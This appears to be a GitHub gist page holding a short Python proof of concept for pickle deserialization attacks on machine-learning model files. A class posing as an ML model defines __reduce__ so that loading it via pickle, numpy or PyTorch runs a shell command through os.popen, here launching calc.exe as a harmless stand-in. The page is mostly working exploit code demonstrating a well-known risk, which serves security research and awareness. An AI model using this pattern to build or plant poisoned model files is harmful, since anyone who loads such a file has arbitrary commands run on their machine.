Created
October 19, 2020 03:31
-
-
Save moohax/f502c817fab0e85d0019fe36b15f4d6c to your computer and use it in GitHub Desktop.
Deserialization of custom class in pickle/numpy/PyTorch
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create a class - normally this is a machine learning model saved to disk | |
class MLModel(): | |
def __reduce__(self): | |
import os | |
execution = 'cmd.exe /c calc.exe' | |
return (os.popen, (execution,)) | |
# Serialize it. | |
import pickle | |
payload = pickle.dumps(MLModel()) | |
# Load it. | |
pickle.loads(payload) | |
# Load it. | |
import numpy | |
numpy.loads(payload) | |
# Load it. | |
import torch | |
torch.loads(payload) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment